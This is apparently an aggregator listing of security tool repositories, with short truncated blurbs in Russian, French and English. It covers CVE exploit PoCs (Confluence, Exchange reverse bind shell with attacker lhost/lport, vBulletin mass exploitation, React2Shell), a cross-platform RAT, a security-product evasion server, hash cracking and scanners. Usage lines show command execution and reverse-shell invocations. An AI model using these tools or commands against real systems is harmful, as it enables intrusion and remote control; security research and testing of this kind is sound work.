CVE-2022-26134

CVE-2022-26134 Установка 下载py,本地cmd运行 Использование poc python3 CVE-2022-26134.py -u http://www.xxx.com exp python3 CVE-2022-26134.py -u http://www.xxx.com -c id Отказ от ответственности🧐 Данный инструмент предназначен только для действий по обеспечению безопасности предприятий, выполняемых на...

pstf2

pstf^2 Framework de Fingerprinting Passif pour Outils de Sécurité Avez-vous déjà voulu un moyen simple, facile et discret de contourner plusieurs catégories de produits de sécurité ? pstf^2 prononcé pstf-carré est une implémentation d'un serveur HTTP capable de faire du fingerprinting passif de...

CVE-2020-0688

CVE-2020-0688 Рабочий PoC эксплойта CVE-2020-0688 — Reverse Bind Shell Протестировано с использованием Python2.7 Установка: pip install -r requirements.txt Запуск: python CVE-2020-0688-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

SillyRAT

SillyRAT Un RAT multiplateforme multifonctionnel Windows/Linux/Mac. Pour commencer Description Un RAT multiplateforme écrit en Python pur. Le RAT accepte des commandes accompagnées d'arguments pour agir soit comme serveur qui accepte les connexions, soit comme client/cible qui établit des...

hashcrack

hashcrack распаковывает некоторые типы хэшей, подбирает разумные опции и запускает hashcat Драйверы NVIDIA здесь: http://www.nvidia.co.uk/Download/index.aspx?lang=en-uk альт. email: [email protected], если нужна поддержка Не уверен, будет ли кто-то в NCC присматривать за этим, но в будущем я...

enum_shares

enumshares Инструмент для перечисления общих папок EnumShares перечисляет общие папки по сети и под учётной записью пользователя. Он может проверить, доступна ли общая папка для записи текущему пользователю. Это может сэкономить вам много времени, когда нужно обнаружить каталоги, доступные для...

CVE-2026-23744

использование: exploit.py -h --lhost LHOST --lport LPORT --rhost RHOST CVE-2026-23744 - PoC параметры: -h, --help показать это сообщение и выйти --lhost, -l LHOST IP-адрес атакующего --lport, -p LPORT порт атакующего --rhost, -t RHOST URL цели...

kitty

Introduction | Sulley : Boo ? | Boo : Kitty ! Qu'est-ce que Kitty ? Kitty est un framework de fuzzing modulaire et extensible open-source écrit en Python, inspiré de Sulley d'OpenRCE et du Peach Fuzzer de Michael Eddington et maintenant de Deja Vu Security. Objectif Quand nous avons commencé à...

kitty

Introduction | Sulley: Boo? | Boo: Kitty! What is Kitty? Kitty is an open-source modular and extensible fuzzing framework written in python, inspired by OpenRCE's Sulley and Michael Eddington's and now Deja Vu Security's Peach Fuzzer . Goal When we started writing Kitty, our goal was to help us...

CVE-2026-20230-Scanner

Сканер CVE-2026-20230 Python-сканер и инструмент валидации для выявления потенциально уязвимых развертываний Cisco Unified Communications Manager Unified CM, затронутых CVE-2026-20230. Возможности Обнаруживает экземпляры Cisco Unified CM Проверяет доступность WebDialer Поддерживает сканирование...

React2Shell_Exploit

React2ShellExploit CVE-2025-55182 J'ai créé un exploit python simple pour react2shell CVE-2025-55182 UTILISATION 1. Enregistrez le script : Sauvegardez le code ci-dessus sous exploit.py. 2. Mettez à jour les hôtes : Assurez-vous que reactor.htb résout l'IP cible dans votre fichier /etc/hosts. ech...

Crips

Crips Outils IP Cet outil est une collection d'outils IP en ligne qui peuvent être utilisés pour obtenir rapidement des informations sur les adresses IP, les pages Web et les enregistrements DNS. Menu Recherche Whois Traceroute Recherche DNS Recherche DNS inversée Recherche GeoIP Scan de ports...

DbDat

DbDat Outil d'évaluation de base de données Db DbDat effectue de nombreuses vérifications sur une base de données pour évaluer sa sécurité. Les catégories de vérifications effectuées sont la configuration, les privilèges, les utilisateurs et les informations. Les vérifications sont réalisées en...

jwt-key-id-injector

JWT Key ID Injector Simple python script to check against hypothetical JWT vulnerability. Let's say there is an application that uses JWT tokens signed HS256 algorithm. An example token looks like the follow:...

dronesploit

DroneSploit Pentestez facilement des drones. Ce framework CLI est basé sur sploitkit et est une tentative de rassembler des techniques de hacking et des exploits axés particulièrement sur le hacking de drones. Pour la facilité d'utilisation, l'interface a une apparence qui ressemble à Metasploit...

FLAWED

F ix L ike A rtifacts w ith E mbedded D efects Исследовательский стенд для измерения того, насколько хорошо ИИ-агенты исправляют уязвимости. Быстрый старт · Наборы данных · Документация · Модель безопасности · Участие в разработке FLAWED извлекает проект с открытым исходным кодом на коммите с...

openapi-python-client: Malicious OpenAPI Documents can cause Arbitrary Code Generation

Impact A malicious OpenAPI document processed by any openapi-python-client prior to 0.29.1 can generate arbitrary Python code. When anyone imports the malicious client, that arbitrary Python code will execute. Patches Versions starting with 0.29.1 have updated with guardrails to prevent arbitrary...

GitMiner3

Autor: UnkL4b Сайт: bravul.com Блог: unkl4b.github.io Github: UnkL4b X: @UnkL4b ПРЕДУПРЕЖДЕНИЕ +---------------------------------------------------+ | РАЗРАБОТЧИКИ НЕ НЕСУТ НИКАКОЙ ОТВЕТСТВЕННОСТИ И | | НЕ ОТВЕЧАЮТ ЗА ЛЮБОЕ НЕПРАВИЛЬНОЕ ИСПОЛЬЗОВАНИЕ | | ИЛИ УЩЕРБ, ПРИЧИНЁННЫЙ ЭТОЙ ПРОГРАММОЙ |...

vbull

Массовый эксплойт vBulletin CVE-2019-16759 Внимание! Этот инструмент создан для тестирования на проникновение CVE-2019-16759. Мы не несем ответственности за ошибки, допущенные пользователями этого инструмента. Установка и использование: $ pkg install git python2 $ pip2 install requests $ git clon...

pastokrapacefleciks

pastokrapacefleciks, WireShark - PRO анализатор Использование: Поместите ваш .pcapng файл в директорию pastokrapacefleciks python .\pastokrapacefleciks.py python3 .\pastokrapacefleciks.py Проверьте ваш HTML отчёт...